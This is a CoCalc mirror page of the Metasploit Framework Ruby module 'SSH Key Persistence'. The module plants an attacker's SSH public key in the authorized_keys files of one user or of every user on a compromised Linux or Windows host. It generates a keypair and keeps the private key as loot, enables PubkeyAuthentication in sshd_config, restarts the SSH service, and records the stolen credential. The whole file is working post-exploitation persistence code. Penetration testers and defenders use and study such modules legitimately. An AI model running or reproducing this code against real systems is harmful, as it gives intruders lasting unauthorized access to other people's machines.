Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/multi/persistence/ssh_key.rb
31151 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'sshkey'
7
8
class MetasploitModule < Msf::Exploit::Local
9
Rank = ExcellentRanking
10
11
prepend Msf::Exploit::Remote::AutoCheck
12
include Msf::Post::File
13
include Msf::Post::Unix
14
include Msf::Post::Windows::UserProfiles
15
include Msf::Exploit::EXE
16
include Msf::Exploit::Local::Persistence
17
include Msf::Exploit::Deprecated
18
moved_from 'post/linux/manage/sshkey_persistence'
19
moved_from 'post/windows/manage/sshkey_persistence'
20
21
def initialize(info = {})
22
super(
23
update_info(
24
info,
25
'Name' => 'SSH Key Persistence',
26
'Description' => %q{
27
This module will add an SSH key to a specified user (or all), to allow
28
remote login via SSH at any time. No payload is required for this module to work.
29
30
If an SSH key is not provided, a new 4096 bit RSA keypair will be generated.
31
The private key will be stored as loot for later use.
32
},
33
'License' => MSF_LICENSE,
34
'Author' => [
35
'h00die <[email protected]>', # linux
36
'Dean Welch <dean_welch[at]rapid7.com>' # windows
37
],
38
'Platform' => %w[linux unix win], # this must be defined despite the module not using a payload
39
'Arch' => ARCH_ALL, # doesn't matter because we don't use the payload
40
'SessionTypes' => [ 'meterpreter', 'shell' ],
41
'References' => [
42
['ATT&CK', Mitre::Attack::Technique::T1098_004_SSH_AUTHORIZED_KEYS],
43
['URL', 'https://learn.microsoft.com/en-us/windows-server/administration/openssh/openssh_keymanagement'],
44
['URL', 'https://learn.microsoft.com/en-us/windows-server/administration/openssh/openssh_install_firstuse?tabs=gui&pivots=windows-10'],
45
['URL', 'https://stackoverflow.com/a/50502015']
46
],
47
'Targets' => [
48
[ 'Automatic', {} ]
49
],
50
'DefaultTarget' => 0,
51
52
'Stance' => Msf::Exploit::Stance::Aggressive,
53
'Passive' => false,
54
'DefaultOptions' => {
55
'DisablePayloadHandler' => true, # since this is non-traditional persistence in that it isn't traditional event driven
56
'PAYLOAD' => 'payload/generic/custom' # dummy payload to avoid issues
57
},
58
'DisclosureDate' => '1995-07-01', # ssh first release
59
'Notes' => {
60
'Stability' => [CRASH_SAFE],
61
'Reliability' => [EVENT_DEPENDENT],
62
'SideEffects' => [CONFIG_CHANGES]
63
}
64
)
65
)
66
67
register_options([
68
OptString.new('USERNAME', [false, 'User to add SSH key to (Default: all users on box)' ]),
69
OptPath.new('PUBKEY', [false, 'Path to Public Key File to use. (Default: Create a new one)' ]),
70
OptString.new('SSHD_CONFIG', [false, 'sshd_config file']),
71
OptBool.new('CREATESSHFOLDER', [true, 'If no .ssh folder is found, create it for the target user', false ])
72
])
73
74
deregister_options('WritableDir')
75
deregister_options('PAYLOAD')
76
end
77
78
def check
79
return CheckCode::Safe('sshd_config file not found') unless file?(sshd_config_file)
80
81
enabled = pubkey_enabled?
82
if enabled.nil?
83
print_warning('Unable to determine if PubkeyAuthentication is enabled due to permission issues')
84
elsif enabled == false
85
return CheckCode::Safe("PubkeyAuthentication disabled in sshd_config and can't be enabled")
86
end
87
88
CheckCode::Appears('Likely vulnerable')
89
end
90
91
def sshd_config_file
92
return datastore['SSHD_CONFIG'] if !datastore['SSHD_CONFIG'].nil? && datastore['SSHD_CONFIG'].empty?
93
94
if session.platform == 'windows'
95
'C:\ProgramData\ssh\sshd_config'
96
else # assume *nix
97
'/etc/ssh/sshd_config'
98
end
99
end
100
101
def target_admin_user?
102
!datastore['USERNAME'].nil? && ['root', 'administrator', 'admin'].include?(datastore['USERNAME'].downcase)
103
end
104
105
def set_pub_key_file_permissions(file, username = nil)
106
if session.platform == 'windows'
107
return unless target_admin_user?
108
109
cmd_exec("icacls #{file} /inheritance:r")
110
cmd_exec("icacls #{file} /grant SYSTEM:(F)")
111
cmd_exec("icacls #{file} /grant BUILTIN\\Administrators:(F)")
112
else
113
chmod(file, 0o600)
114
unless username.nil?
115
cmd_exec("chown #{username}:#{username} #{file}")
116
end
117
end
118
end
119
120
def windows_service_owner
121
service_info = cmd_exec('sc qc sshd')
122
/SERVICE_START_NAME\s+: (?<owner>.+)/ =~ service_info
123
owner
124
end
125
126
def write_key(paths, auth_key_file, sep)
127
if datastore['PUBKEY'].nil?
128
key = SSHKey.generate(bits: 4096) # https://github.com/bensie/sshkey/issues/41
129
our_pub_key = key.ssh_public_key
130
private_key_path = store_loot('id_rsa', 'text/plain', session, key.private_key, 'ssh_id_rsa', 'OpenSSH Private Key File')
131
print_good("Storing new private key as #{private_key_path}. Change the permissions to 600 before using it")
132
else
133
our_pub_key = ::File.read(datastore['PUBKEY'])
134
end
135
136
paths.each do |path|
137
path.chomp!
138
authorized_keys = "#{path}#{sep}#{auth_key_file}"
139
next unless file?(authorized_keys)
140
141
# make a backup of the authorized_keys file so we can add it to the restore rc
142
auth_keys_backup = read_file(authorized_keys)
143
loot_path = store_loot('authorized_keys', 'text/plain', session, auth_keys_backup, 'authorized_keys', 'SSH Authorized Keys File')
144
@clean_up_rc << "upload #{loot_path} #{authorized_keys}\n"
145
# start exploiting
146
print_status("Adding key to #{authorized_keys}")
147
append_file(authorized_keys, "\n#{our_pub_key}")
148
set_pub_key_file_permissions(authorized_keys)
149
print_good "Persistence installed! Call a shell using 'ssh -i #{private_key_path} <username>@#{session.session_host}'"
150
print_good 'use auxiliary/scanner/ssh/ssh_login'
151
print_good " run KEY_PATH=#{private_key_path} RHOSTS=#{session.session_host} USERNAME=<username>"
152
next unless datastore['PUBKEY'].nil?
153
154
path_array = path.split(sep)
155
path_array.pop
156
user = path_array.pop
157
credential_data = {
158
origin_type: :session,
159
session_id: session.db_record ? session.db_record.id : nil,
160
post_reference_name: refname,
161
private_type: :ssh_key,
162
private_data: key.private_key.to_s,
163
username: user,
164
workspace_id: myworkspace_id
165
}
166
167
create_credential(credential_data)
168
end
169
end
170
171
def pubkey_enabled?
172
print_status('Checking SSH Permissions')
173
if session.platform != 'windows' && !readable?(sshd_config_file)
174
return nil
175
end
176
177
sshd_config = read_file(sshd_config_file)
178
return nil if sshd_config.nil? || sshd_config.empty? # should catch permission errors
179
180
if /^#?\s*PubkeyAuthentication\s+(?<pub_key>yes|no)/ =~ sshd_config
181
# If the line exists, check if it's commented or explicitly "no"
182
if sshd_config =~ /^#\s*PubkeyAuthentication/ || pub_key == 'no'
183
print_error('Pubkey Authentication disabled')
184
enable_pub_key_auth(sshd_config)
185
if read_file(sshd_config_file) == sshd_config
186
print_bad('Unable to reconfigure sshd_config to enable PubkeyAuthentication')
187
return false
188
else
189
print_good('PubkeyAuthentication enabled successfully')
190
end
191
else
192
vprint_good("Pubkey set to #{pub_key}")
193
end
194
else
195
# No PubkeyAuthentication line found at all — treat as disabled
196
print_error('Pubkey Authentication not found, assuming disabled')
197
enable_pub_key_auth(sshd_config)
198
end
199
200
# also check if the windows admin keys are enabled. See Testing Notes in markdown docs for more info
201
if session.platform == 'windows' && sshd_config !~ /^(\s*#)\s*(Match Group administrators|AuthorizedKeysFile)/ && !target_admin_user?
202
fail_with(Failure::BadConfig, "Admin AuthorizedKeysFile enabled, please 'set username admin' to use this module")
203
end
204
205
true
206
end
207
208
def enable_pub_key_auth(sshd_config)
209
vprint_status('Attempting to enable pubkey authentication in sshd_config')
210
loot_path = store_loot('sshd_config', 'text/plain', session, sshd_config, 'sshd_config', 'SSH Server Configuration')
211
@clean_up_rc << "upload #{loot_path} #{sshd_config_file}\n"
212
sshd_config = sshd_config.sub(/^\s*#?\s*PubkeyAuthentication\s+.*/i, 'PubkeyAuthentication yes')
213
write_file(sshd_config_file, sshd_config)
214
if session.platform == 'windows'
215
cmd_exec('net stop "OpenSSH SSH Server"')
216
cmd_exec('net start "OpenSSH SSH Server"')
217
else
218
cmd_exec('systemctl restart sshd || service sshd restart || service ssh restart')
219
end
220
end
221
222
def authorized_keys_file
223
print_status('Determining authorized_keys file')
224
if session.platform == 'windows' && target_admin_user?
225
return 'administrators_authorized_keys'
226
end
227
if session.platform != 'windows' && !readable?(sshd_config_file)
228
return nil
229
end
230
231
sshd_config = read_file(sshd_config_file)
232
return nil if sshd_config.nil? || sshd_config.empty? # should catch permission errors. Prefer this over readable? since windows isn't supported
233
234
%r{^AuthorizedKeysFile\s+(?<auth_key_file>[\w%/.]+)} =~ sshd_config
235
if auth_key_file
236
auth_key_file = auth_key_file.gsub('%h', '')
237
auth_key_file = auth_key_file.gsub('%%', '%')
238
if auth_key_file.start_with? '/'
239
auth_key_file = auth_key_file[1..]
240
end
241
else
242
auth_key_file = ".ssh#{sep}authorized_keys"
243
end
244
print_status("Authorized Keys File: #{auth_key_file}")
245
auth_key_file
246
end
247
248
def sep
249
if session.type == 'meterpreter'
250
return session.fs.file.separator
251
elsif session.platform == 'windows'
252
return '\\'
253
end
254
255
return '/'
256
end
257
258
def find_user_folders(auth_key_folder)
259
paths = []
260
# all users
261
if datastore['USERNAME'].nil?
262
if session.platform == 'windows'
263
paths = grab_user_profiles.map { |d| "#{d['ProfileDir']}#{sep}#{auth_key_folder}" }
264
else # assume *nix
265
paths = enum_user_directories.map { |d| "#{d}#{sep}#{auth_key_folder}" }
266
end
267
# admin user
268
elsif target_admin_user?
269
if session.platform == 'windows'
270
paths = ['C:\ProgramData\ssh']
271
else # assume *nix
272
paths = ["/#{datastore['USERNAME']}/#{auth_key_folder}"]
273
end
274
# specific user
275
elsif session.platform == 'windows'
276
user_profile = grab_user_profiles.find { |profile| profile['UserName'] == datastore['USERNAME'] }
277
if user_profile
278
paths = ["#{user_profile['ProfileDir']}#{sep}#{auth_key_folder}"]
279
else
280
print_error("User #{datastore['USERNAME']} not found")
281
end
282
else # assume *nix
283
user_profile = enum_user_directories.find { |profile| profile.split(sep)[1] == datastore['USERNAME'] }
284
if user_profile
285
paths = ["#{user_profile['ProfileDir']}#{sep}#{auth_key_folder}"]
286
else
287
print_error("User #{datastore['USERNAME']} not found")
288
end
289
end
290
paths.map! { |p| p.delete("\r\n") }
291
paths
292
end
293
294
def install_persistence
295
auth_key_file = authorized_keys_file
296
unless auth_key_file
297
print_warning('Unable to determine authorized_keys file due to permission issues, using default .ssh/authorized_keys')
298
auth_key_file = ".ssh#{sep}authorized_keys"
299
end
300
# ironically windows default ssh config file has .ssh/authorized_keys so we can't trust the windows sep here
301
auth_key_folder = auth_key_file.split(%r{[/\\]+}).reject(&:empty?)[0...-1].join(sep)
302
auth_key_file = auth_key_file.split(%r{[/\\]+}).reject(&:empty?).last
303
home_folders = find_user_folders(auth_key_folder)
304
vprint_status("Found #{home_folders.length} potential user folders")
305
306
# double check all the folders and files exist that we need
307
home_folders = home_folders.select do |d|
308
authorized_keys_path = "#{d}#{sep}#{auth_key_file.split(sep).last}"
309
d_exists = directory?(d)
310
311
if !d_exists && !datastore['CREATESSHFOLDER']
312
print_warning("No .ssh folder found for #{d}, skipping...")
313
false
314
elsif !d_exists
315
if session.platform == 'windows'
316
session.fs.dir.mkdir(d)
317
else
318
cmd_exec("mkdir -m 700 -p #{d}")
319
cmd_exec("chown #{d.split(sep)[-2]}:#{d.split(sep)[-2]} #{d}")
320
end
321
@clean_up_rc << "rmdir #{d}\n"
322
end
323
324
f_exists = file?(authorized_keys_path)
325
if !f_exists && !datastore['CREATESSHFOLDER']
326
print_warning("No #{authorized_keys_path} file found, skipping...")
327
false
328
elsif !f_exists
329
unless write_file(authorized_keys_path, '')
330
print_warning("Unable to create #{authorized_keys_path}, skipping...")
331
false
332
end
333
if session.platform == 'windows'
334
set_pub_key_file_permissions(authorized_keys_path)
335
else
336
set_pub_key_file_permissions(authorized_keys_path, d.split(sep)[-2])
337
end
338
end
339
true
340
end
341
342
vprint_status("Found #{home_folders.length} confirmed user folders")
343
344
if home_folders.nil? || home_folders.empty?
345
fail_with(Failure::NotFound, "No users found with a #{auth_key_file} directory. Try setting CREATESSHFOLDER to true.")
346
end
347
348
write_key(home_folders, auth_key_file, sep)
349
end
350
351
end
352
353